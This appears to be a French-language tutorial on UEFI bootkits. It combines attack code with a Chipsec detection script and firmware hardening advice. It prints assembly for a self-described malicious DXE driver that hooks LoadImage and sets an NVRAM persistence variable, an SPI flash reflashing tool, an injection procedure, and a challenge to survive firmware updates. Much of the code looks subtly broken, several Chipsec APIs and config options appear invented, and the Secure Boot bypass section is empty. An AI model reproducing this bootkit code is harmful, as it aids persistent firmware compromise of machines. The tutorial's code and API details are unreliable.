⚠️ LAB PHYSIQUE ISOLÉ OBLIGATOIRE – Machine UEFI dédiée ou VM OVMF air-gapped uniquement – Manipulation firmware = RISQUE DE BRICK – Article 323-1 Code pénal français – Recherche éthique & formation cyberdéfense uniquement

UEFI Bootkit Advanced – Persistence Pré-OS & Secure Boot Bypass

Low-Level Maestro Series 2026 | DXE driver injection, SPI flash manipulation, Secure Boot bypass avancé, NVRAM persistence | Pour les cyberdéfenseurs qui veulent comprendre les attaques firmware réelles

🎯 Introduction – L'Ère des Bootkits UEFI en 2026

Les bootkits UEFI représentent la forme ultime de persistance : ils s'exécutent au niveau du firmware, avant même le chargement de l'OS, survivant aux reformattages de disque et à la plupart des solutions de sécurité traditionnelles.

Pourquoi c'est critique en 2026 ?
• Persistance pré-OS : Survit aux wipe disque, réinstallations OS
• Bypass Secure Boot : Techniques avancées malgré les protections
• Détection difficile : Nécessite outils firmware spécialisés (Chipsec, UEFITool)
• Évolution continue : De simples patches à l'injection DXE complète

Objectifs de Cette Masterclass Avancée

⚠️ Configuration du Lab Requise (EXTREME PRUDENCE) :
• Machine physique dédiée OU QEMU/KVM avec OVMF (UEFI virtuel)
• Programmateur SPI (CH341A, Dediprog) + clip SOP8/SOIC8
• Chipsec, UEFITool, Intel FITC, MCExtract
• Secure Boot DÉSACTIVÉ initialement (activation progressive)
• Backup complet du firmware AVANT toute manipulation
• Environnement TOTALEMENT isolé (air-gapped)

📚 Théorie Avancée : Architecture UEFI & Points d'Infection

flowchart TD A[Power On] --> B[SEC Phase
Security (CPU microcode)] B --> C[PEI Phase
Pre-EFI Initialization
Memory, CPU init] C --> D[DXE Phase
Driver Execution Environment
🚨 PRINCIPAL POINT D'INFECTION] D --> E[BDS Phase
Boot Device Selection
bootmgfw.efi, grub, etc.] E --> F[TSL Phase
Transient System Load
OS loader execution] F --> G[RT Phase
Runtime
OS takes control] H[Infection Methods] --> I[DXE Driver Injection
Most Common] H --> J[PEI Module Injection
Early Execution] H --> K[BDS Hook
bootmgfw.efi patch] H --> L[NVRAM Variable
Persistent Storage] I --> D J --> C K --> E L --> D style D fill:#ff9900 style I fill:#ff3366
SEC
Security Phase
Microcode, Trusted Boot
PEI
PEI Phase
Hardware Init
DXE
DXE Phase
⚠️ Infection Point
BDS
BDS Phase
Boot Selection
TSL
TSL Phase
OS Loader
RT
Runtime
OS Control

Structure du Firmware UEFI Moderne

Composant Rôle Format Outils d'Analyse
IFWI (Intel) Firmware complet (CSME + BIOS) Binaire structuré Intel FITC, UEFITool NE
FD (Firmware Device) Image flash complète ROM binary UEFITool, MCExtract
FV (Firmware Volume) Conteneur de modules GUID + sections UEFITool
FFS (Firmware File System) Système de fichiers firmware Sections nested UEFITool
PEI/DXE Modules Drivers exécutables PE32/PE32+ UEFITool, IDA Pro

Secure Boot – Mécanisme et Bypass

Secure Boot Workflow :
1. Plateforme Keys (PK) → Key Exchange Keys (KEK) → Signature Database (db)
2. Chaque EFI executable signé avec certificat dans db
3. Signature vérifiée à chaque chargement
4. dbx (revoked signatures) bloque les signatures connues malveillantes

Techniques de Bypass Secure Boot 2026 :

💻 Code Source Complet – Injection DXE Driver & SPI Manipulation

IMPORTANT : Ce code est fourni à des fins éducatives uniquement. Toute exécution sur du matériel réel peut rendre la machine inutilisable (brick).

1. Structure de Base d'un DXE Driver Malveillant

; ====================================================================
; DXE Driver Malveillant – UEFI Bootkit Core
; Format : PE32+ (EFI Application)
; Compilation : NASM + EDK2 (BaseTools) ou gcc avec -fpic -nostdlib
; ====================================================================

[BITS 64]
DEFAULT REL

; GUIDs UEFI Importants
EFI_SYSTEM_TABLE_SIGNATURE   equ 0x5453595320494249  ; 'IBI SYST'
EFI_BOOT_SERVICES_SIGNATURE  equ 0x56524553544f4f42  ; 'BOOT SERV'

; Structures UEFI (simplifiées)
struc EFI_SYSTEM_TABLE
    .Hdr              resb 24
    .FirmwareVendor   resq 1
    .FirmwareRevision resd 1
    .ConsoleInHandle  resq 1
    .ConIn            resq 1
    .ConsoleOutHandle resq 1
    .ConOut           resq 1
    .StandardErrorHandle resq 1
    .StdErr           resq 1
    .RuntimeServices  resq 1
    .BootServices     resq 1
    .NumberOfTableEntries resq 1
    .ConfigurationTable resq 1
endstruc

struc EFI_BOOT_SERVICES
    .Hdr                     resb 24
    .RaiseTPL                resq 1
    .RestoreTPL              resq 1
    .AllocatePages           resq 1
    .FreePages               resq 1
    .GetMemoryMap            resq 1
    .AllocatePool            resq 1
    .FreePool                resq 1
    .CreateEvent             resq 1
    .SetTimer                resq 1
    .WaitForEvent            resq 1
    .SignalEvent             resq 1
    .CloseEvent              resq 1
    .CheckEvent              resq 1
    .InstallProtocolInterface resq 1
    .ReinstallProtocolInterface resq 1
    .UninstallProtocolInterface resq 1
    .HandleProtocol          resq 1
    .RegisterProtocolNotify  resq 1
    .LocateHandle            resq 1
    .LocateDevicePath        resq 1
    .InstallConfigurationTable resq 1
    .LoadImage               resq 1    ; 🚨 CRITIQUE : Chargement d'images
    .StartImage              resq 1    ; 🚨 CRITIQUE : Démarrage d'images
    .Exit                    resq 1
    .UnloadImage             resq 1
    .ExitBootServices        resq 1
endstruc

section .text

; ====================================================================
; Entry Point du DXE Driver
; Conforme à UEFI Driver Model
; ====================================================================
global _DriverEntryPoint
_DriverEntryPoint:
    ; Sauvegarde du contexte
    push rbp
    mov rbp, rsp
    sub rsp, 40h
    
    ; Paramètres : ImageHandle (RCX), SystemTable (RDX)
    mov [rel ImageHandle], rcx
    mov [rel SystemTable], rdx
    
    ; Vérifier la signature SystemTable
    mov rax, [rdx]
    cmp rax, EFI_SYSTEM_TABLE_SIGNATURE
    jne .exit_failure
    
    ; Obtenir BootServices
    mov rax, [rdx + EFI_SYSTEM_TABLE.BootServices]
    mov [rel BootServices], rax
    
    ; Installation du hook sur LoadImage
    call hook_load_image
    
    ; Installation du hook sur StartImage
    call hook_start_image
    
    ; Persistence via NVRAM Variable
    call install_nvram_persistence
    
    ; Message de succès (debug)
    mov rcx, [rel SystemTable]
    mov rcx, [rcx + EFI_SYSTEM_TABLE.ConOut]
    lea rdx, [rel success_msg]
    call [rcx + 8]  ; OutputString
    
    ; Retour EFI_SUCCESS
    xor eax, eax
    
.exit:
    add rsp, 40h
    pop rbp
    ret

.exit_failure:
    mov eax, 0x80000000  ; EFI_ERROR
    jmp .exit

; ====================================================================
; HOOK : LoadImage – Intercepte le chargement des images EFI
; ====================================================================
hook_load_image:
    push rbp
    mov rbp, rsp
    
    ; Sauvegarder l'original LoadImage
    mov rax, [rel BootServices]
    mov rax, [rax + EFI_BOOT_SERVICES.LoadImage]
    mov [rel OriginalLoadImage], rax
    
    ; Remplacer par notre fonction
    mov rax, [rel BootServices]
    lea rcx, [rel HookedLoadImage]
    mov [rax + EFI_BOOT_SERVICES.LoadImage], rcx
    
    pop rbp
    ret

HookedLoadImage:
    ; RCX = BootPolicy, RDX = ParentImageHandle, R8 = DevicePath,
    ; R9 = SourceBuffer, [RSP+28h] = SourceSize, [RSP+30h] = ImageHandle
    
    ; Sauvegarde des paramètres
    mov [rel saved_rcx], rcx
    mov [rel saved_rdx], rdx
    mov [rel saved_r8], r8
    mov [rel saved_r9], r9
    
    ; Appel original
    mov rax, [rel OriginalLoadImage]
    call rax
    
    ; Si succès, vérifier si c'est bootmgfw.efi ou autre bootloader
    test rax, rax
    jnz .end
    
    ; Ici, on pourrait patcher l'image en mémoire
    ; Par exemple, hooker l'EntryPoint
    
.end:
    ret

; ====================================================================
; Persistence via NVRAM Variable
; ====================================================================
install_nvram_persistence:
    push rbp
    mov rbp, rsp
    
    ; GUID personnalisé pour notre variable
    ; {8BE4DF61-93CA-11D2-AA0D-00E098032B8C} – EFI_GLOBAL_VARIABLE
    lea rcx, [rel variable_guid]
    
    ; Attributs : NV, BS, RT (Non-Volatile, BootService, Runtime)
    mov rdx, 0x7  ; EFI_VARIABLE_NON_VOLATILE | 
                  ; EFI_VARIABLE_BOOTSERVICE_ACCESS |
                  ; EFI_VARIABLE_RUNTIME_ACCESS
    
    ; Taille des données
    mov r8, persistent_data_end - persistent_data
    
    ; Données
    lea r9, [rel persistent_data]
    
    ; Appel RuntimeServices->SetVariable
    mov rax, [rel SystemTable]
    mov rax, [rax + EFI_SYSTEM_TABLE.RuntimeServices]
    mov rax, [rax + 0x68]  ; SetVariable (offset peut varier)
    
    ; Variable name
    lea r10, [rel variable_name]
    mov [rsp + 20h], r10
    
    call rax
    
    pop rbp
    ret

; ====================================================================
; DONNÉES
; ====================================================================
section .data

; Variables globales
ImageHandle          dq 0
SystemTable          dq 0
BootServices         dq 0
OriginalLoadImage    dq 0
OriginalStartImage   dq 0

; Saved parameters
saved_rcx           dq 0
saved_rdx           dq 0
saved_r8            dq 0
saved_r9            dq 0

; Messages
success_msg         du 'DXE Driver installed successfully', 0x0D, 0x0A, 0

; NVRAM persistence
variable_guid       db 0x61, 0xDF, 0xE4, 0x8B, 0xCA, 0x93, 0xD2, 0x11,
                    db 0xAA, 0x0D, 0x00, 0xE0, 0x98, 0x03, 0x2B, 0x8C
variable_name       du 'PCTAMALOU-Bootkit', 0
persistent_data     db 'Persistence Data - Bootkit Active', 0
persistent_data_end:

; ====================================================================
; SECTION DE RELOCATION (requise pour PE)
; ====================================================================
section .reloc
    dd 0  ; Dummy relocation data

2. Outil de Manipulation SPI Flash en C (Linux)

/* ====================================================================
 * SPI Flash Tool – Lecture/Écriture Firmware
 * Pour CH341A ou autres programmateurs SPI
 * Compilation : gcc -o spiflash spiflash.c -lusb-1.0
 * ==================================================================== */

#include 
#include 
#include 
#include 
#include 
#include 

#define VENDOR_ID  0x1a86  // CH341A
#define PRODUCT_ID 0x5512

// Commandes SPI CH341A
#define CH341A_CMD_SPI_STREAM    0xA8
#define CH341A_CMD_SPI_INIT      0x9B
#define CH341A_CMD_SPI_CS0       0x82
#define CH341A_CMD_SPI_CS1       0x83

// Commandes Flash SPI standard
#define CMD_READ_ID          0x9F
#define CMD_READ_DATA        0x03
#define CMD_WRITE_ENABLE     0x06
#define CMD_WRITE_DISABLE    0x04
#define CMD_PAGE_PROGRAM     0x02
#define CMD_SECTOR_ERASE     0x20
#define CMD_CHIP_ERASE       0xC7

struct ch341a_device {
    libusb_device_handle *handle;
    uint8_t out_endpoint;
    uint8_t in_endpoint;
};

// Initialiser le périphérique CH341A
int ch341a_init(struct ch341a_device *dev) {
    libusb_init(NULL);
    
    dev->handle = libusb_open_device_with_vid_pid(NULL, VENDOR_ID, PRODUCT_ID);
    if (!dev->handle) {
        fprintf(stderr, "Erreur: Périphérique CH341A non trouvé\n");
        return -1;
    }
    
    // Détacher le driver kernel si nécessaire
    if (libusb_kernel_driver_active(dev->handle, 0) == 1) {
        libusb_detach_kernel_driver(dev->handle, 0);
    }
    
    // Réclamer l'interface
    int ret = libusb_claim_interface(dev->handle, 0);
    if (ret < 0) {
        fprintf(stderr, "Erreur claim interface: %s\n", libusb_error_name(ret));
        libusb_close(dev->handle);
        return -1;
    }
    
    // Configurer les endpoints (CH341A a des endpoints fixes)
    dev->out_endpoint = 0x02;
    dev->in_endpoint = 0x82;
    
    // Initialiser le mode SPI
    uint8_t init_cmd[2] = {CH341A_CMD_SPI_INIT, 0x00};
    ch341a_spi_stream(dev, init_cmd, 2, NULL, 0);
    
    printf("CH341A initialisé avec succès\n");
    return 0;
}

// Envoyer/Recevoir des données SPI
int ch341a_spi_stream(struct ch341a_device *dev, uint8_t *out_buf, 
                      size_t out_len, uint8_t *in_buf, size_t in_len) {
    uint8_t cmd_buf[4096];
    int cmd_idx = 0;
    
    // Commande de début de stream
    cmd_buf[cmd_idx++] = CH341A_CMD_SPI_STREAM;
    
    // Pour chaque octet à envoyer
    for (size_t i = 0; i < out_len; i++) {
        cmd_buf[cmd_idx++] = out_buf[i];
    }
    
    // Envoyer la commande
    int transferred;
    int ret = libusb_bulk_transfer(dev->handle, dev->out_endpoint,
                                   cmd_buf, cmd_idx, &transferred, 1000);
    if (ret < 0 || transferred != cmd_idx) {
        fprintf(stderr, "Erreur envoi SPI: %s\n", libusb_error_name(ret));
        return -1;
    }
    
    // Lire la réponse si nécessaire
    if (in_buf && in_len > 0) {
        ret = libusb_bulk_transfer(dev->handle, dev->in_endpoint,
                                   in_buf, in_len, &transferred, 1000);
        if (ret < 0) {
            fprintf(stderr, "Erreur réception SPI: %s\n", libusb_error_name(ret));
            return -1;
        }
    }
    
    return 0;
}

// Lire le firmware complet
int read_firmware(struct ch341a_device *dev, const char *filename, size_t size) {
    FILE *fp = fopen(filename, "wb");
    if (!fp) {
        perror("Erreur ouverture fichier");
        return -1;
    }
    
    uint8_t *buffer = malloc(size);
    if (!buffer) {
        fprintf(stderr, "Erreur allocation mémoire\n");
        fclose(fp);
        return -1;
    }
    
    printf("Lecture du firmware (%zu bytes)...\n", size);
    
    // Lire par blocs de 256 bytes
    size_t remaining = size;
    size_t offset = 0;
    uint8_t read_cmd[4];
    
    while (remaining > 0) {
        size_t chunk = (remaining > 256) ? 256 : remaining;
        
        // Commande READ avec adresse
        read_cmd[0] = CMD_READ_DATA;
        read_cmd[1] = (offset >> 16) & 0xFF;
        read_cmd[2] = (offset >> 8) & 0xFF;
        read_cmd[3] = offset & 0xFF;
        
        uint8_t read_buffer[256];
        
        // Activer CS0
        uint8_t cs_cmd[1] = {CH341A_CMD_SPI_CS0};
        ch341a_spi_stream(dev, cs_cmd, 1, NULL, 0);
        
        // Envoyer commande READ
        ch341a_spi_stream(dev, read_cmd, 4, NULL, 0);
        
        // Lire les données
        ch341a_spi_stream(dev, NULL, 0, read_buffer, chunk);
        
        // Désactiver CS0
        cs_cmd[0] = CH341A_CMD_SPI_CS1;
        ch341a_spi_stream(dev, cs_cmd, 1, NULL, 0);
        
        // Écrire dans le buffer
        memcpy(buffer + offset, read_buffer, chunk);
        
        offset += chunk;
        remaining -= chunk;
        
        // Afficher la progression
        if (offset % (size / 10) == 0) {
            printf("Progression: %zu%%\n", (offset * 100) / size);
        }
    }
    
    // Écrire dans le fichier
    fwrite(buffer, 1, size, fp);
    fclose(fp);
    free(buffer);
    
    printf("Firmware sauvegardé dans %s\n", filename);
    return 0;
}

// Écrire un firmware modifié
int write_firmware(struct ch341a_device *dev, const char *filename, size_t size) {
    FILE *fp = fopen(filename, "rb");
    if (!fp) {
        perror("Erreur ouverture fichier");
        return -1;
    }
    
    uint8_t *buffer = malloc(size);
    if (!buffer) {
        fprintf(stderr, "Erreur allocation mémoire\n");
        fclose(fp);
        return -1;
    }
    
    fread(buffer, 1, size, fp);
    fclose(fp);
    
    printf("Écriture du firmware modifié...\n");
    
    // Activer l'écriture
    uint8_t write_enable[1] = {CMD_WRITE_ENABLE};
    ch341a_spi_stream(dev, write_enable, 1, NULL, 0);
    
    // Écrire par pages de 256 bytes
    for (size_t offset = 0; offset < size; offset += 256) {
        size_t chunk = (size - offset > 256) ? 256 : size - offset;
        
        // Commande PAGE PROGRAM
        uint8_t cmd[4] = {
            CMD_PAGE_PROGRAM,
            (offset >> 16) & 0xFF,
            (offset >> 8) & 0xFF,
            offset & 0xFF
        };
        
        // Activer CS0
        uint8_t cs_cmd[1] = {CH341A_CMD_SPI_CS0};
        ch341a_spi_stream(dev, cs_cmd, 1, NULL, 0);
        
        // Envoyer commande + données
        ch341a_spi_stream(dev, cmd, 4, NULL, 0);
        ch341a_spi_stream(dev, buffer + offset, chunk, NULL, 0);
        
        // Désactiver CS0
        cs_cmd[0] = CH341A_CMD_SPI_CS1;
        ch341a_spi_stream(dev, cs_cmd, 1, NULL, 0);
        
        // Attendre l'écriture (tW ~ 5ms)
        usleep(5000);
        
        if (offset % (size / 10) == 0) {
            printf("Progression: %zu%%\n", (offset * 100) / size);
        }
    }
    
    free(buffer);
    printf("Firmware écrit avec succès\n");
    return 0;
}

int main(int argc, char *argv[]) {
    if (argc < 4) {
        printf("Usage: %s   \n", argv[0]);
        printf("Exemple: %s read backup.bin 16777216\n", argv[0]);
        return 1;
    }
    
    struct ch341a_device dev;
    if (ch341a_init(&dev) < 0) {
        return 1;
    }
    
    char *action = argv[1];
    char *filename = argv[2];
    size_t size = strtoul(argv[3], NULL, 10);
    
    if (strcmp(action, "read") == 0) {
        read_firmware(&dev, filename, size);
    } else if (strcmp(action, "write") == 0) {
        printf("ATTENTION: L'écriture peut BRICKER la machine!\n");
        printf("Appuyez sur Entrée pour continuer...");
        getchar();
        write_firmware(&dev, filename, size);
    } else {
        printf("Action inconnue: %s\n", action);
    }
    
    libusb_close(dev.handle);
    libusb_exit(NULL);
    return 0;
}

3. Script Python d'Analyse avec Chipsec

#!/usr/bin/env python3
"""
Chipsec Analysis Script - UEFI Bootkit Detection
Requires: chipsec (pip install chipsec)
Run as Administrator/root
"""

import chipsec.chipset
import chipsec.hal.uefi
import chipsec.hal.spi
import chipsec.hal.ucode
from chipsec.helper.oshelper import helper
import struct
import hashlib
import json
from datetime import datetime

class UEFIBootkitScanner:
    def __init__(self):
        self.cs = chipsec.chipset.cs()
        self.cs.init(None, None, True)
        self.helper = helper()
        self.findings = []
        
    def scan_spi_flash(self):
        """Analyse la SPI flash pour détecter des modifications"""
        print("[*] Scanning SPI flash...")
        
        try:
            # Lire le BIOS région
            bios_region = self.cs.spi.read_spi(0, 0x100000)  # 1MB
            
            # Calculer le hash
            bios_hash = hashlib.sha256(bios_region).hexdigest()
            
            # Vérifier les patterns connus de bootkits
            patterns = {
                "bootkit_dxe": b"\x55\x48\x89\xE5\x48\x83\xEC\x20",  # DXE hook pattern
                "nvram_persistence": b"PCTAMALOU-Bootkit",
                "modified_bootmgfw": b"\x4D\x5A\x90\x00\x03\x00\x00\x00",  # PE header
            }
            
            for name, pattern in patterns.items():
                if pattern in bios_region:
                    self.add_finding("CRITICAL", f"Pattern {name} found in SPI flash")
                    
        except Exception as e:
            self.add_finding("ERROR", f"SPI scan failed: {str(e)}")
    
    def scan_uefi_variables(self):
        """Analyse les variables NVRAM UEFI"""
        print("[*] Scanning UEFI variables...")
        
        try:
            uefi = chipsec.hal.uefi.UEFI(self.cs)
            variables = uefi.list_EFI_variables()
            
            suspicious_vars = []
            for var in variables:
                var_name, var_guid = var
                var_data = uefi.get_EFI_variable(var_name, var_guid)[0]
                
                # Recherche de variables suspectes
                if b"bootkit" in var_name.lower() or b"malware" in var_name.lower():
                    suspicious_vars.append(var_name.decode('utf-8', errors='ignore'))
                
                # Vérifier les tailles anormales
                if len(var_data) > 4096:  # Variables > 4KB suspectes
                    self.add_finding("WARNING", 
                        f"Large UEFI variable: {var_name} ({len(var_data)} bytes)")
            
            if suspicious_vars:
                self.add_finding("CRITICAL", 
                    f"Suspicious UEFI variables found: {suspicious_vars}")
                    
        except Exception as e:
            self.add_finding("ERROR", f"UEFI variables scan failed: {str(e)}")
    
    def scan_dxe_drivers(self):
        """Analyse les DXE drivers en mémoire"""
        print("[*] Scanning DXE drivers...")
        
        try:
            # Utiliser Chipsec pour énumérer les modules DXE
            from chipsec.hal.uefi import EFI_SECTION, EFI_FILE
            
            # Cette partie nécessite un parsing avancé du firmware
            # Simulons avec une recherche de patterns
            memory_map = self.cs.mem.get_memory_map()
            
            for entry in memory_map:
                start, end, mem_type = entry
                if mem_type == "EfiBootServicesCode":
                    # Region contenant du code DXE
                    self.add_finding("INFO", 
                        f"DXE region found: 0x{start:016X}-0x{end:016X}")
        
        except Exception as e:
            self.add_finding("ERROR", f"DXE scan failed: {str(e)}")
    
    def scan_secure_boot(self):
        """Vérifie l'état de Secure Boot"""
        print("[*] Checking Secure Boot status...")
        
        try:
            from chipsec.hal.uefi import SecureBoot
            
            sb = SecureBoot(self.cs)
            enabled = sb.is_secure_boot_enabled()
            
            if not enabled:
                self.add_finding("WARNING", "Secure Boot is DISABLED")
            else:
                self.add_finding("INFO", "Secure Boot is ENABLED")
                
                # Vérifier les clés
                db_keys = sb.get_db()
                if not db_keys:
                    self.add_finding("WARNING", "No Secure Boot keys found")
                    
        except Exception as e:
            self.add_finding("ERROR", f"Secure Boot check failed: {str(e)}")
    
    def scan_smm(self):
        """Analyse SMM (System Management Mode)"""
        print("[*] Scanning SMM...")
        
        try:
            # Vérifier les handlers SMM
            smram_base = self.cs.mem.get_SMRAM_base()
            if smram_base:
                self.add_finding("INFO", f"SMRAM base: 0x{smram_base:016X}")
            
            # Rechercher des vulnérabilités SMM
            from chipsec.hal.smm import SMM
            smm = SMM(self.cs)
            
            # Vérifier SMM_BWP (SMM Write Protection)
            smm_bwp = smm.check_SMM_Code_Chk_En()
            if not smm_bwp:
                self.add_finding("CRITICAL", "SMM Write Protection DISABLED")
                
        except Exception as e:
            self.add_finding("ERROR", f"SMM scan failed: {str(e)}")
    
    def add_finding(self, severity, description):
        """Ajoute une découverte au rapport"""
        finding = {
            "timestamp": datetime.now().isoformat(),
            "severity": severity,
            "description": description
        }
        self.findings.append(finding)
        print(f"[{severity}] {description}")
    
    def generate_report(self):
        """Génère un rapport JSON des découvertes"""
        report = {
            "scan_date": datetime.now().isoformat(),
            "system_info": {
                "platform": self.cs.cs().Chipset_Detected,
                "bios_version": self.cs.cs().BIOSVersion
            },
            "findings": self.findings,
            "summary": {
                "critical": len([f for f in self.findings if f["severity"] == "CRITICAL"]),
                "warning": len([f for f in self.findings if f["severity"] == "WARNING"]),
                "info": len([f for f in self.findings if f["severity"] == "INFO"])
            }
        }
        
        with open("uefi_scan_report.json", "w") as f:
            json.dump(report, f, indent=2)
        
        print(f"\n[*] Report generated: uefi_scan_report.json")
        print(f"    Findings: {report['summary']['critical']} critical, "
              f"{report['summary']['warning']} warnings, "
              f"{report['summary']['info']} info")
    
    def run_full_scan(self):
        """Exécute un scan complet"""
        print("=== UEFI Bootkit Scanner 2026 ===")
        print(f"Platform: {self.cs.cs().Chipset_Detected}")
        print(f"BIOS: {self.cs.cs().BIOSVersion}\n")
        
        self.scan_spi_flash()
        self.scan_uefi_variables()
        self.scan_dxe_drivers()
        self.scan_secure_boot()
        self.scan_smm()
        
        self.generate_report()

if __name__ == "__main__":
    scanner = UEFIBootkitScanner()
    scanner.run_full_scan()
Processus Complet d'Injection :
1. Dumper le firmware avec le programmeur SPI
2. Analyser avec UEFITool pour trouver les modules DXE
3. Écrire un driver DXE malveillant
4. Injecter le driver dans le firmware avec UEFITool
5. Reflasher le firmware modifié
6. Vérifier la persistance au reboot

🛡️ Stratégies de Défense Firmware 2026

1. Secure Boot Strict

Activer Secure Boot avec clés de plateforme personnalisées, utiliser dbx (revocation list) à jour, désactiver le chargement de drivers non signés.

2. Intel Boot Guard

Activer Verified Boot et Measured Boot avec TPM 2.0. Boot Guard vérifie chaque étape du boot via signatures cryptographiques.

3. AMD Hardware Validated Boot

Utiliser AMD's Hardware Validated Boot avec fTPM. Empêche l'exécution de code non autorisé dès la phase SEC.

4. SPI Flash Protection

Activer les bits de protection BIOS_WE, BIOS_LOCK, SMM_BWP. Empêche l'écriture sur la SPI flash sans autorisation SMM.

5. CHIPSEC Monitoring

Déployer Chipsec en production pour le monitoring runtime du firmware. Détection des modifications NVRAM, hooks SMM, etc.

6. Hardware Root of Trust

Implémenter une racine de confiance hardware (Discrete TPM, Intel PTT, AMD fTPM) avec attestation remote.

Commandes de Sécurisation UEFI

# 1. Vérifier l'état de Secure Boot (Linux)
$ mokutil --sb-state
$ efivar -l | grep -i secure

# 2. Vérifier les clés UEFI
$ efi-readvar -v PK  # Platform Key
$ efi-readvar -v KEK # Key Exchange Keys
$ efi-readvar -v db  # Signature Database
$ efi-readvar -v dbx # Revoked Signatures

# 3. Analyser le firmware avec Chipsec
$ chipsec_main -m common.bios_wp
$ chipsec_main -m common.secureboot.variables
$ chipsec_main -m common.smm

# 4. Vérifier les protections SPI
$ chipsec_main -m common.bios_wp
$ chipsec_main -m common.spi_desc

# 5. Dump et vérifier le firmware
$ flashrom -p internal -r backup.bin
$ sha256sum backup.bin
$ uefitool backup.bin

# 6. Windows: vérifier Secure Boot
> Confirm-SecureBootUEFI
> Get-SecureBootPolicy
> Get-SecureBootUEFI db

# 7. Script PowerShell de vérification
Get-WmiObject -Namespace root\wmi -Class SecureBootUEFI |
Select-Object SecureBoot, SetupMode, PK, KEK, db, dbx

# 8. Configurer Secure Boot strict
# Via Setup UEFI: 
# - Activer Secure Boot
# - Mode: Custom
# - Supprimer les clés Microsoft
# - Ajouter ses propres clés PK/KEK/db
# - Activer les options avancées:
#   - Boot Guard
#   - TPM Measurement
#   - SPI Write Protection

Configuration Chipsec pour le Monitoring Production

# chipsec_config.ini - Configuration production monitoring

[general]
platform = auto
logger = file
log_file = /var/log/chipsec/chipsec.log
json_report = true

[modules]
# Modules de sécurité critiques
common.bios_wp = true           # BIOS Write Protection
common.secureboot.variables = true
common.smm = true               # SMM protections
common.spi_lock = true          # SPI flash lock
common.uefi.access_uefispec = true
common.uefi.s3bootscript = true # S3 Boot Script protection

# Modules de détection de bootkit
common.uefi.smm_dma = true
common.uefi.var_check = true
common.uefi.secure_var = true
common.memconfig = true

# Fréquence d'exécution
scan_interval = 3600  # 1 heure
alert_threshold = medium

[alerts]
# Configuration des alertes
email_alerts = true
email_server = smtp.company.com
email_recipients = soc@company.com

syslog_alerts = true
syslog_server = 192.168.1.100

webhook_alerts = true
webhook_url = https://soc.company.com/api/alerts

[signatures]
# Signatures de bootkits connus
bootkit_patterns = 
    patterns/bootmgfw_hooks.pat,
    patterns/dxe_injection.pat,
    patterns/smm_hooks.pat

custom_patterns =
    patterns/corporate_certs.pat

[compliance]
# Conformité aux standards
nist_800-193 = true
disa_stig_uefi = true
cis_benchmark = true

# Script de réponse automatique
response_script = /opt/chipsec/response.sh

🔬 Exercices de Laboratoire Avancés

Exercice 1 : Analyse Firmware avec UEFITool

Objectif : Analyser un dump firmware et identifier les composants.

Exercice 2 : Création et Injection DXE Driver

Objectif : Développer un driver DXE simple et l'injecter.

# Étapes de l'exercice :
1. Écrire un DXE driver "Hello World" en C avec EDK2
2. Compiler en PE32+ avec signatures de test
3. Extraire le firmware cible avec UEFITool
4. Injecter le driver dans un Firmware Volume
5. Reconstruire l'image firmware
6. Tester dans une VM QEMU/OVMF
7. Vérifier l'exécution au boot

Exercice 3 : Bypass Secure Boot en Lab

Objectif : Contourner Secure Boot dans un environnement contrôlé.

Exercice 4 : Détection avec Chipsec

Objectif : Développer un module Chipsec de détection.

# Module Chipsec personnalisé
from chipsec.module_common import BaseModule, ModuleResult

class BootkitDetector(BaseModule):
    def __init__(self):
        BaseModule.__init__(self)
        
    def check_dxe_hooks(self):
        # Scanner la mémoire pour hooks DXE
        # Rechercher des sauts vers régions non signées
        pass
    
    def check_smm_vulnerabilities(self):
        # Vérifier les protections SMM
        # SMM_BWP, SMM_Code_Chk_En, etc.
        pass
    
    def run(self, module_argv):
        self.logger.start_test("Bootkit Detection")
        
        # Exécuter les checks
        self.check_dxe_hooks()
        self.check_smm_vulnerabilities()
        
        return ModuleResult.PASSED
Challenge Expert : Implémenter un bootkit qui survive à un update firmware officiel. Cela nécessite de comprendre le processus de mise à jour et de maintenir la persistance.

🎯 Conclusion – L'Avenir de la Sécurité Firmware

Les bootkits UEFI représentent la forme la plus avancée de persistance malveillante, opérant en dessous du système d'exploitation et survivant aux mesures de sécurité traditionnelles. En 2026, la bataille entre attaquants et défenseurs se déplace de plus en plus vers le firmware.

Tendances 2026-2030 :
1. Hardware Roots of Trust : TPM discret, Intel SGX, AMD SEV
2. Remote Attestation : Vérification à distance de l'intégrité du firmware
3. AI/ML Detection : Détection behaviorale des anomalies firmware
4. Quantum Resistance : Cryptographie post-quantique pour les signatures
5. Supply Chain Security : Vérification de toute la chaîne de fabrication

Recommandations pour les Organisations

  1. Secure Boot Strict : Activer avec clés personnalisées, maintenir dbx à jour
  2. Hardware Security : Choisir des plateformes avec Boot Guard, fTPM, SPI protections
  3. Monitoring Firmware : Déployer Chipsec ou solutions commerciales de monitoring
  4. Patching Rapide : Appliquer les updates firmware critiques immédiatement
  5. Formation Continue : Former les équipes de sécurité aux techniques firmware
  6. Incident Response : Inclure le firmware dans les plans de réponse aux incidents
Rappel Final : Cette masterclass et tout le code fourni sont strictement destinés à la recherche en sécurité éthique dans des environnements de laboratoire isolés. La manipulation de firmware sur du matériel de production peut causer des dommages irréversibles et est illégale sans autorisation explicite.

Ressources Complémentaires